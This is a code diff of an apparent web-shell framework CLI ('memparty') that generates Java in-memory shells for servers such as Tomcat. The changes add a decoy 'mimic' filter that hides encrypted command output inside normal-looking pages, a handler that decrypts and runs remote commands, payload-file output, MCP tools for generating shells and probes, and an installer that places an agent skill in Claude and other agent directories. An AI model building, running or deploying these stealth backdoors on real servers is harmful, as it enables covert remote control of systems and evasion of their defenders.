2981
|
+
// behave like the cover body on any error \u2014 stay quiet
|
|
2982
|
+
response.setContentType(tplCt);
|
|
2666
2983
|
response.getWriter().write(tpl);
|
|
2667
2984
|
}
|
|
2668
2985
|
}
|
|
@@ -2715,6 +3032,29 @@ function profileSecretFields(profile) {
|
|
|
2715
3032
|
const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
|
|
2716
3033
|
return fields.length > 0 ? fields : ["pass"];
|
|
2717
3034
|
}
|
|
3035
|
+
function ctNeedle(ct) {
|
|
3036
|
+
const media = ct.toLowerCase().split(";", 1)[0].trim();
|
|
3037
|
+
if (media.includes("json")) return "json";
|
|
3038
|
+
if (media.includes("multipart")) return "multipart";
|
|
3039
|
+
if (media.includes("xml")) return "xml";
|
|
3040
|
+
return media;
|
|
3041
|
+
}
|
|
3042
|
+
function profileBodyContentTypes(profile) {
|
|
3043
|
+
const needles = /* @__PURE__ */ new Set();
|
|
3044
|
+
for (const r of profileRequests(profile)) {
|
|
3045
|
+
if (r.secretIn !== void 0 && r.secretIn !== "body") continue;
|
|
3046
|
+
if (r.bodyTemplate !== void 0) {
|
|
3047
|
+
const explicit = Object.entries(r.headers ?? {}).find(
|
|
3048
|
+
([k]) => k.toLowerCase() === "content-type"
|
|
3049
|
+
)?.[1];
|
|
3050
|
+
const ct = explicit ?? inferBodyTemplateContentType(r.bodyTemplate);
|
|
3051
|
+
if (ct) needles.add(ctNeedle(ct));
|
|
3052
|
+
} else if (r.bodyStyle === "json") {
|
|
3053
|
+
needles.add("json");
|
|
3054
|
+
}
|
|
3055
|
+
}
|
|
3056
|
+
return [...needles];
|
|
3057
|
+
}
|
|
2718
3058
|
function defaultClassName() {
|
|
2719
3059
|
return `MimicFilter${randomString(4)}`;
|
|
2720
3060
|
}
|
|
@@ -2726,20 +3066,32 @@ async function buildCustomMemshell(input3, client, deps = {}) {
|
|
|
2726
3066
|
const urlPattern = input3.urlPattern ?? "/*";
|
|
2727
3067
|
const packer = input3.packer ?? "DefaultBase64";
|
|
2728
3068
|
const cipher = resolveCipher(input3.profile.cipher);
|
|
2729
|
-
const templates = profileTemplates(input3.profile).map((t) =>
|
|
3069
|
+
const templates = profileTemplates(input3.profile).map((t) => ({
|
|
3070
|
+
template: t.template,
|
|
3071
|
+
contentType: t.contentType
|
|
3072
|
+
}));
|
|
2730
3073
|
if (templates.length === 0) {
|
|
2731
3074
|
throw new Error(`profile '${input3.profile.name}' has no templates \u2014 nothing to use as cover page`);
|
|
2732
3075
|
}
|
|
2733
3076
|
const outDir = input3.outDir;
|
|
2734
3077
|
const packageDir = join5(outDir, "mimic");
|
|
2735
3078
|
mkdirSync4(packageDir, { recursive: true });
|
|
3079
|
+
const wrapperFile = join5(packageDir, "CachedBody.java");
|
|
3080
|
+
writeFileSync3(wrapperFile, renderWrapperJava(), "utf8");
|
|
3081
|
+
compile([wrapperFile], outDir, { classpath: [jarOf()] });
|
|
3082
|
+
const wrapper = {
|
|
3083
|
+
bodyB64: readFileSync5(join5(packageDir, "CachedBody.class")).toString("base64"),
|
|
3084
|
+
streamB64: readFileSync5(join5(packageDir, "CachedBody$Stream.class")).toString("base64")
|
|
3085
|
+
};
|
|
2736
3086
|
const javaSource = renderFilterJava({
|
|
2737
3087
|
className,
|
|
2738
3088
|
pass: input3.pass,
|
|
2739
3089
|
secret: input3.secret,
|
|
2740
3090
|
fields: profileSecretFields(input3.profile),
|
|
3091
|
+
bodyContentTypes: profileBodyContentTypes(input3.profile),
|
|
2741
3092
|
templates,
|
|
2742
|
-
cipher
|
|
3093
|
+
cipher,
|
|
3094
|
+
wrapper
|
|
2743
3095
|
});
|
|
2744
3096
|
const javaFile = join5(packageDir, `${className}.java`);
|
|
2745
3097
|
writeFileSync3(javaFile, javaSource, "utf8");
|
|
@@ -3004,20 +3356,29 @@ async function startMimicServer(options = {}) {
|
|
|
3004
3356
|
const aesKey = deriveAesKey(secretKey);
|
|
3005
3357
|
const markers = deriveMarkers(pass, secretKey, cipher);
|
|
3006
3358
|
const execTimeoutMs = options.execTimeoutMs ?? 5e3;
|
|
3007
|
-
const
|
|
3359
|
+
const skins = options.templates ?? [
|
|
3360
|
+
{ title: "mock", template: PAGES["/"], contentType: "text/html; charset=utf-8" }
|
|
3361
|
+
];
|
|
3362
|
+
const fields = options.fields ?? [pass];
|
|
3008
3363
|
const server = http2.createServer((req, res) => {
|
|
3009
3364
|
if (req.method === "POST") {
|
|
3010
3365
|
const chunks = [];
|
|
3011
3366
|
req.on("data", (c) => chunks.push(c));
|
|
3012
3367
|
req.on("end", () => {
|
|
3013
|
-
|
|
3014
|
-
|
|
3015
|
-
|
|
3016
|
-
|
|
3017
|
-
|
|
3018
|
-
|
|
3019
|
-
|
|
3020
|
-
|
|
3368
|
+
const rawBody = Buffer.concat(chunks);
|
|
3369
|
+
let command = null;
|
|
3370
|
+
for (const f of fields) {
|
|
3371
|
+
command = decodeRequestBody(rawBody, f, aesKey, cipher);
|
|
3372
|
+
if (command === null) command = decodeAnyBody(rawBody, f, aesKey, cipher);
|
|
3373
|
+
if (command === null) {
|
|
3374
|
+
const query = new URL(req.url ?? "/", "http://x").searchParams.get(f);
|
|
3375
|
+
if (query) command = tryDecrypt(query, aesKey, cipher);
|
|
3376
|
+
}
|
|
3377
|
+
if (command === null) {
|
|
3378
|
+
const header = req.headers[f.toLowerCase()];
|
|
3379
|
+
if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher);
|
|
3380
|
+
}
|
|
3381
|
+
if (command !== null) break;
|
|
3021
3382
|
}
|
|
3022
3383
|
if (command === null) {
|
|
3023
3384
|
res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" });
|
|
@@ -3026,8 +3387,26 @@ async function startMimicServer(options = {}) {
|
|
|
3026
3387
|
}
|
|
3027
3388
|
void runCommand(command.toString("utf8"), execTimeoutMs).then((output) => {
|
|
3028
3389
|
const b64 = encryptField2(Buffer.from(output, "utf8"), aesKey, cipher);
|
|
3029
|
-
|
|
3030
|
-
|
|
3390
|
+
const skin = skins[Math.floor(Math.random() * skins.length)];
|
|
3391
|
+
const body = skin.template.includes(PAYLOAD_PLACEHOLDER) ? skin.template.replaceAll(PAYLOAD_PLACEHOLDER, b64) : injectFragment(skin.template, markers.wrap(b64));
|
|
3392
|
+
res.writeHead(200, { "Content-Type": skin.contentType });
|
|
3393
|
+
if (skin.contentType.includes("event-stream")) {
|
|
3394
|
+
const sseChunks = body.split("\n\n").filter((c) => c.length > 0);
|
|
3395
|
+
let i = 0;
|
|
3396
|
+
const next = () => {
|
|
3397
|
+
if (i < sseChunks.length) {
|
|
3398
|
+
res.write(`${sseChunks[i++]}
|
|
3399
|
+
|
|
3400
|
+
`);
|
|
3401
|
+
setTimeout(next, 25);
|
|
3402
|
+
} else {
|
|
3403
|
+
res.end();
|
|
3404
|
+
}
|
|
3405
|
+
};
|
|
3406
|
+
next();
|
|
3407
|
+
} else {
|
|
3408
|
+
res.end(body);
|
|
3409
|
+
}
|
|
3031
3410
|
});
|
|
3032
3411
|
});
|
|
3033
3412
|
return;
|
|
@@ -3291,6 +3670,21 @@ function emitPayload(payload, opts, sinks = {}) {
|
|
|
3291
3670
|
`);
|
|
3292
3671
|
return { destination: "stdout", size: payload.length, decoded: false };
|
|
3293
3672
|
}
|
|
3673
|
+
function hasMultiplePackResults(r) {
|
|
3674
|
+
return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
|
|
3675
|
+
}
|
|
3676
|
+
function emitSinglePackResult(r, opts, sinks = {}) {
|
|
3677
|
+
if (hasMultiplePackResults(r)) {
|
|
3678
|
+
const n = Object.keys(r.allPackResults).length;
|
|
3679
|
+
throw new Error(
|
|
3680
|
+
`the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
|
|
3681
|
+
);
|
|
3682
|
+
}
|
|
3683
|
+
if (r.packResult === void 0) {
|
|
3684
|
+
throw new Error("Server returned no packResult.");
|
|
3685
|
+
}
|
|
3686
|
+
return emitPayload(r.packResult, opts, sinks);
|
|
3687
|
+
}
|
|
3294
3688
|
|
|
3295
3689
|
// src/core/request-builder.ts
|
|
3296
3690
|
import { randomInt as randomInt3 } from "crypto";
|
|
@@ -3515,7 +3909,7 @@ function toOptions(o) {
|
|
|
3515
3909
|
};
|
|
3516
3910
|
}
|
|
3517
3911
|
function registerGenCommand(program) {
|
|
3518
|
-
program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
|
|
3912
|
+
program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
|
|
3519
3913
|
"after",
|
|
3520
3914
|
`
|
|
3521
3915
|
Examples:
|
|
@@ -3531,8 +3925,9 @@ Examples:
|
|
|
3531
3925
|
Note: run 'memparty config' to list the available servers, tools, shell
|
|
3532
3926
|
types and packers. Some packers (e.g. Base64) are aggregate packers that
|
|
3533
3927
|
return several variants at once \u2014 pick a leaf packer (e.g. DefaultBase64)
|
|
3534
|
-
for a single payload. The --json output
|
|
3535
|
-
(shellToolConfig) you need for
|
|
3928
|
+
for a single payload (-o refuses aggregate results). The --json output
|
|
3929
|
+
includes the gate header (shellToolConfig) you need for
|
|
3930
|
+
'memparty connect' / 'memparty exec'.
|
|
3536
3931
|
`
|
|
3537
3932
|
).action(async (opts, cmd) => {
|
|
3538
3933
|
const client = createClient(cmd.optsWithGlobals());
|
|
@@ -3583,14 +3978,21 @@ for a single payload. The --json output includes the gate header
|
|
|
3583
3978
|
meta: genMeta
|
|
3584
3979
|
});
|
|
3585
3980
|
if (opts.json) {
|
|
3586
|
-
|
|
3981
|
+
const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
|
|
3982
|
+
const doc = outputFile === void 0 ? response : { ...response, outputFile };
|
|
3983
|
+
process.stdout.write(`${JSON.stringify(doc, null, 2)}
|
|
3587
3984
|
`);
|
|
3588
3985
|
return;
|
|
3589
3986
|
}
|
|
3590
3987
|
const r = response.memShellResult;
|
|
3591
3988
|
logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);
|
|
3592
3989
|
logInfo(`injector class: ${r.injectorClassName} (${r.injectorSize} bytes)`);
|
|
3593
|
-
if (
|
|
3990
|
+
if (hasMultiplePackResults(response)) {
|
|
3991
|
+
if (opts.output !== void 0) {
|
|
3992
|
+
throw new Error(
|
|
3993
|
+
`-o cannot write ${Object.keys(response.allPackResults).length} packer variants to one file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
|
|
3994
|
+
);
|
|
3995
|
+
}
|
|
3594
3996
|
for (const [name, value] of Object.entries(response.allPackResults)) {
|
|
3595
3997
|
logInfo(`
|
|
3596
3998
|
=== ${name} ===`);
|
|
@@ -3599,10 +4001,7 @@ for a single payload. The --json output includes the gate header
|
|
|
3599
4001
|
}
|
|
3600
4002
|
return;
|
|
3601
4003
|
}
|
|
3602
|
-
|
|
3603
|
-
throw new Error("Server returned no packResult.");
|
|
3604
|
-
}
|
|
3605
|
-
const result = emitPayload(response.packResult, {
|
|
4004
|
+
const result = emitSinglePackResult(response, {
|
|
3606
4005
|
outFile: opts.output,
|
|
3607
4006
|
decode: opts.decode
|
|
3608
4007
|
});
|
|
@@ -3780,7 +4179,10 @@ var memShellInput = {
|
|
|
3780
4179
|
shellClassBase64: z.string().optional(),
|
|
3781
4180
|
urlPattern: z.string().optional(),
|
|
3782
4181
|
injectorClassName: z.string().optional(),
|
|
3783
|
-
staticInitialize: z.boolean().optional()
|
|
4182
|
+
staticInitialize: z.boolean().optional(),
|
|
4183
|
+
outputFile: z.string().optional().describe(
|
|
4184
|
+
"also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
|
|
4185
|
+
)
|
|
3784
4186
|
};
|
|
3785
4187
|
var probeInput = {
|
|
3786
4188
|
probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
|
|
@@ -3798,7 +4200,8 @@ var probeInput = {
|
|
|
3798
4200
|
sleepServer: z.string().optional(),
|
|
3799
4201
|
server: z.string().optional(),
|
|
3800
4202
|
reqParamName: z.string().optional(),
|
|
3801
|
-
commandTemplate: z.string().optional()
|
|
4203
|
+
commandTemplate: z.string().optional(),
|
|
4204
|
+
outputFile: memShellInput.outputFile
|
|
3802
4205
|
};
|
|
3803
4206
|
var connectInput = {
|
|
3804
4207
|
name: z.string().optional().describe(
|
|
@@ -3926,7 +4329,11 @@ function createMcpServer(client) {
|
|
|
3926
4329
|
);
|
|
3927
4330
|
server.registerTool(
|
|
3928
4331
|
"generate_memshell",
|
|
3929
|
-
{
|
|
4332
|
+
{
|
|
4333
|
+
title: "Generate memory shell",
|
|
4334
|
+
description: "Generate a Java memory shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
|
|
4335
|
+
inputSchema: memShellInput
|
|
4336
|
+
},
|
|
3930
4337
|
async (args) => {
|
|
3931
4338
|
const meta = {
|
|
3932
4339
|
server: args.server,
|
|
@@ -3939,6 +4346,7 @@ function createMcpServer(client) {
|
|
|
3939
4346
|
const started = Date.now();
|
|
3940
4347
|
try {
|
|
3941
4348
|
const response = await client.generateMemShell(buildMemShellRequest(args));
|
|
4349
|
+
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
3942
4350
|
logOp({
|
|
3943
4351
|
category: "gen",
|
|
3944
4352
|
action: "gen",
|
|
@@ -3947,7 +4355,7 @@ function createMcpServer(client) {
|
|
|
3947
4355
|
detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
|
|
3948
4356
|
meta
|
|
3949
4357
|
});
|
|
3950
|
-
return jsonContent(response);
|
|
4358
|
+
return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
|
|
3951
4359
|
} catch (err) {
|
|
3952
4360
|
logOp({
|
|
3953
4361
|
category: "gen",
|
|
@@ -3963,7 +4371,11 @@ function createMcpServer(client) {
|
|
|
3963
4371
|
);
|
|
3964
4372
|
server.registerTool(
|
|
3965
4373
|
"generate_probe",
|
|
3966
|
-
{
|
|
4374
|
+
{
|
|
4375
|
+
title: "Generate probe shell",
|
|
4376
|
+
description: "Generate a probe/detection shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
|
|
4377
|
+
inputSchema: probeInput
|
|
4378
|
+
},
|
|
3967
4379
|
async (args) => {
|
|
3968
4380
|
const meta = {
|
|
3969
4381
|
probeMethod: args.probeMethod,
|
|
@@ -3974,6 +4386,7 @@ function createMcpServer(client) {
|
|
|
3974
4386
|
const started = Date.now();
|
|
3975
4387
|
try {
|
|
3976
4388
|
const response = await client.generateProbe(buildProbeRequest(args));
|
|
4389
|
+
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
3977
4390
|
logOp({
|
|
3978
4391
|
category: "probe",
|
|
3979
4392
|
action: "probe",
|
|
@@ -3982,7 +4395,7 @@ function createMcpServer(client) {
|
|
|
3982
4395
|
detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
|
|
3983
4396
|
meta
|
|
3984
4397
|
});
|
|
3985
|
-
return jsonContent(response);
|
|
4398
|
+
return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
|
|
3986
4399
|
} catch (err) {
|
|
3987
4400
|
logOp({
|
|
3988
4401
|
category: "probe",
|
|
@@ -4560,10 +4973,15 @@ async function runProbeWizard(client) {
|
|
|
4560
4973
|
});
|
|
4561
4974
|
opts.seconds = Number(await input2({ message: "Seconds", default: "5" }));
|
|
4562
4975
|
break;
|
|
4563
|
-
case "ResponseBody":
|
|
4976
|
+
case "ResponseBody": {
|
|
4977
|
+
let responseBodyServers = servers;
|
|
4978
|
+
try {
|
|
4979
|
+
responseBodyServers = await client.getProbeResponseBodyServers();
|
|
4980
|
+
} catch {
|
|
4981
|
+
}
|
|
4564
4982
|
opts.server = await select2({
|
|
4565
4983
|
message: "Server",
|
|
4566
|
-
choices:
|
|
4984
|
+
choices: responseBodyServers.map((s) => ({ name: s, value: s }))
|
|
4567
4985
|
});
|
|
4568
4986
|
opts.reqParamName = await input2({ message: "Request param name", default: "cmd" });
|
|
4569
4987
|
opts.commandTemplate = await input2({
|
|
@@ -4571,6 +4989,7 @@ async function runProbeWizard(client) {
|
|
|
4571
4989
|
default: ""
|
|
4572
4990
|
});
|
|
4573
4991
|
break;
|
|
4992
|
+
}
|
|
4574
4993
|
default:
|
|
4575
4994
|
break;
|
|
4576
4995
|
}
|
|
@@ -4621,7 +5040,7 @@ function toOptions2(o) {
|
|
|
4621
5040
|
};
|
|
4622
5041
|
}
|
|
4623
5042
|
function registerProbeCommand(program) {
|
|
4624
|
-
program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
|
|
5043
|
+
program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
|
|
4625
5044
|
"after",
|
|
4626
5045
|
`
|
|
4627
5046
|
Examples:
|
|
@@ -4683,13 +5102,20 @@ The server name reported by '-c Server' is the value to pass as
|
|
|
4683
5102
|
meta: probeMeta
|
|
4684
5103
|
});
|
|
4685
5104
|
if (opts.json) {
|
|
4686
|
-
|
|
5105
|
+
const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
|
|
5106
|
+
const doc = outputFile === void 0 ? response : { ...response, outputFile };
|
|
5107
|
+
process.stdout.write(`${JSON.stringify(doc, null, 2)}
|
|
4687
5108
|
`);
|
|
4688
5109
|
return;
|
|
4689
5110
|
}
|
|
4690
5111
|
const r = response.probeShellResult;
|
|
4691
5112
|
logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);
|
|
4692
|
-
if (
|
|
5113
|
+
if (hasMultiplePackResults(response)) {
|
|
5114
|
+
if (opts.output !== void 0) {
|
|
5115
|
+
throw new Error(
|
|
5116
|
+
`-o cannot write ${Object.keys(response.allPackResults).length} packer variants to one file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
|
|
5117
|
+
);
|
|
5118
|
+
}
|
|
4693
5119
|
for (const [name, value] of Object.entries(response.allPackResults)) {
|
|
4694
5120
|
logInfo(`
|
|
4695
5121
|
=== ${name} ===`);
|
|
@@ -4698,10 +5124,7 @@ The server name reported by '-c Server' is the value to pass as
|
|
|
4698
5124
|
}
|
|
4699
5125
|
return;
|
|
4700
5126
|
}
|
|
4701
|
-
|
|
4702
|
-
throw new Error("Server returned no packResult.");
|
|
4703
|
-
}
|
|
4704
|
-
const result = emitPayload(response.packResult, {
|
|
5127
|
+
const result = emitSinglePackResult(response, {
|
|
4705
5128
|
outFile: opts.output,
|
|
4706
5129
|
decode: opts.decode
|
|
4707
5130
|
});
|
|
@@ -4793,6 +5216,101 @@ ${lines.join("\n")}
|
|
|
4793
5216
|
});
|
|
4794
5217
|
}
|
|
4795
5218
|
|
|
5219
|
+
// src/commands/skill.ts
|
|
5220
|
+
import { Command as Command7 } from "commander";
|
|
5221
|
+
|
|
5222
|
+
// src/core/skill-install.ts
|
|
5223
|
+
import { cpSync, existsSync as existsSync6, mkdirSync as mkdirSync5, readdirSync as readdirSync2 } from "fs";
|
|
5224
|
+
import { homedir as homedir5 } from "os";
|
|
5225
|
+
import { join as join7 } from "path";
|
|
5226
|
+
import { fileURLToPath as fileURLToPath2 } from "url";
|
|
5227
|
+
var SKILL_NAME = "memshell-party";
|
|
5228
|
+
function skillSourceDir() {
|
|
5229
|
+
const candidates = [
|
|
5230
|
+
new URL(`../skills/${SKILL_NAME}`, import.meta.url),
|
|
5231
|
+
// dist/*.js
|
|
5232
|
+
new URL(`../../skills/${SKILL_NAME}`, import.meta.url)
|
|
5233
|
+
// src/core/*.ts
|
|
5234
|
+
];
|
|
5235
|
+
for (const candidate of candidates) {
|
|
5236
|
+
const p = fileURLToPath2(candidate);
|
|
5237
|
+
if (existsSync6(p)) return p;
|
|
5238
|
+
}
|
|
5239
|
+
throw new Error(`bundled skill not found (expected skills/${SKILL_NAME} in the package)`);
|
|
5240
|
+
}
|
|
5241
|
+
function skillTargetDir(scope, projectDir) {
|
|
5242
|
+
switch (scope) {
|
|
5243
|
+
case "user":
|
|
5244
|
+
return join7(homedir5(), ".agents", "skills", SKILL_NAME);
|
|
5245
|
+
case "claude":
|
|
5246
|
+
return join7(homedir5(), ".claude", "skills", SKILL_NAME);
|
|
5247
|
+
case "project":
|
|
5248
|
+
return join7(projectDir ?? process.cwd(), "skills", SKILL_NAME);
|
|
5249
|
+
}
|
|
5250
|
+
}
|
|
5251
|
+
function installSkill(scopes, opts = {}) {
|
|
5252
|
+
const src = opts.sourceDir ?? skillSourceDir();
|
|
5253
|
+
return scopes.map((scope) => {
|
|
5254
|
+
const dir = skillTargetDir(scope, opts.projectDir);
|
|
5255
|
+
mkdirSync5(dir, { recursive: true });
|
|
5256
|
+
cpSync(src, dir, { recursive: true });
|
|
5257
|
+
return { scope, dir, files: readdirSync2(dir).sort() };
|
|
5258
|
+
});
|
|
5259
|
+
}
|
|
5260
|
+
|
|
5261
|
+
// src/commands/skill.ts
|
|
5262
|
+
function registerSkillCommand(program) {
|
|
5263
|
+
program.command("skill").description("Manage the bundled agent skill (skills/memshell-party)").addCommand(
|
|
5264
|
+
new Command7("install").description("Install the memshell-party skill into an agent's skill directory").option("--user", "install to ~/.agents/skills (default)").option("--claude", "install to ~/.claude/skills (Claude Code)").option("--project [dir]", "install to <dir>/skills (default: current directory)").option("--json", "output raw JSON").addHelpText(
|
|
5265
|
+
"after",
|
|
5266
|
+
`
|
|
5267
|
+
The package ships skills/memshell-party/SKILL.md \u2014 the workflow guide that
|
|
5268
|
+
teaches an agent how to write site profiles, build custom shells and connect.
|
|
5269
|
+
This command copies it where agents look for skills. Re-run after a CLI
|
|
5270
|
+
upgrade to refresh the skill. Restart/rescan your agent to pick it up.
|
|
5271
|
+
|
|
5272
|
+
Examples:
|
|
5273
|
+
$ memparty skill install # ~/.agents/skills/memshell-party
|
|
5274
|
+
$ memparty skill install --claude # ~/.claude/skills/memshell-party
|
|
5275
|
+
$ memparty skill install --project # ./skills/memshell-party
|
|
5276
|
+
$ memparty skill install --user --claude # both
|
|
5277
|
+
`
|
|
5278
|
+
).action((opts) => {
|
|
5279
|
+
const scopes = [];
|
|
5280
|
+
if (opts.user) scopes.push("user");
|
|
5281
|
+
if (opts.claude) scopes.push("claude");
|
|
5282
|
+
if (opts.project !== void 0 && opts.project !== false) {
|
|
5283
|
+
scopes.push("project");
|
|
5284
|
+
}
|
|
5285
|
+
if (scopes.length === 0) scopes.push("user");
|
|
5286
|
+
const projectDir = typeof opts.project === "string" ? opts.project : void 0;
|
|
5287
|
+
try {
|
|
5288
|
+
const results = installSkill(scopes, { projectDir });
|
|
5289
|
+
logOp({
|
|
5290
|
+
category: "gen",
|
|
5291
|
+
action: "skill-install",
|
|
5292
|
+
ok: true,
|
|
5293
|
+
detail: results.map((r) => `${r.scope}:${r.dir}`).join(", ")
|
|
5294
|
+
});
|
|
5295
|
+
if (opts.json) {
|
|
5296
|
+
process.stdout.write(`${JSON.stringify({ ok: true, installed: results }, null, 2)}
|
|
5297
|
+
`);
|
|
5298
|
+
return;
|
|
5299
|
+
}
|
|
5300
|
+
for (const r of results) {
|
|
5301
|
+
logInfo(`installed [${r.scope}] ${r.dir} (${r.files.join(", ")})`);
|
|
5302
|
+
}
|
|
5303
|
+
process.stdout.write(
|
|
5304
|
+
"\nskill installed \u2014 restart or rescan your agent to pick it up.\n"
|
|
5305
|
+
);
|
|
5306
|
+
} catch (err) {
|
|
5307
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
5308
|
+
process.exitCode = 1;
|
|
5309
|
